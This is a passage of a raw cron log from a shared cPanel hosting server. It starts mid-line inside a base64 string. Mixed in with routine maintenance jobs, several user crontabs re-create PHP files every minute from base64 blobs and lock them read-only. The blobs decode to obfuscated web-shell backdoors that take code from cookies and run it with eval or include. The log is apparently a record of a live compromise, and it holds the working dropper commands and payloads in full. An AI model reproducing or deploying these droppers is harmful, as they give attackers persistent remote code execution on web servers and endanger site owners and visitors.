X2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:32:02 medusa CROND[17263]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 12:32:02 medusa CROND[17267]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 12:32:02 medusa CROND[17268]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 12:33:01 medusa CROND[2989]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 12:33:02 medusa CROND[3211]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 12:33:02 medusa CROND[3218]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:33:02 medusa CROND[3221]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 12:33:02 medusa CROND[3223]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 12:33:02 medusa CROND[3230]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 12:33:02 medusa CROND[3233]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:33:02 medusa CROND[3234]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 12:33:02 medusa CROND[3235]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 12:33:02 medusa CROND[3236]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:33:02 medusa CROND[3239]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 12:33:02 medusa CROND[3243]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:34:01 medusa CROND[22352]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:34:01 medusa CROND[22354]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 12:34:01 medusa CROND[22355]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:34:01 medusa CROND[22356]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 12:34:01 medusa CROND[22357]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 12:34:01 medusa CROND[22358]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 12:34:01 medusa CROND[22359]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:34:01 medusa CROND[22360]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:34:01 medusa CROND[22361]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 12:34:01 medusa CROND[22353]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 12:34:01 medusa CROND[22366]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 12:34:01 medusa CROND[22372]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 12:34:01 medusa CROND[22368]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 12:35:01 medusa CROND[8927]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 12:35:01 medusa CROND[9177]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 12:35:01 medusa CROND[9252]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 12:35:01 medusa CROND[9256]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 12:35:01 medusa CROND[9255]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 12:35:01 medusa CROND[9258]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 12:35:01 medusa CROND[9259]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Mar  2 12:35:01 medusa CROND[9260]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 12:35:01 medusa CROND[9268]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 12:35:01 medusa CROND[9270]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 12:35:01 medusa CROND[9269]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  2 12:35:01 medusa CROND[9271]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 12:35:01 medusa CROND[9275]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 12:35:01 medusa CROND[9274]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
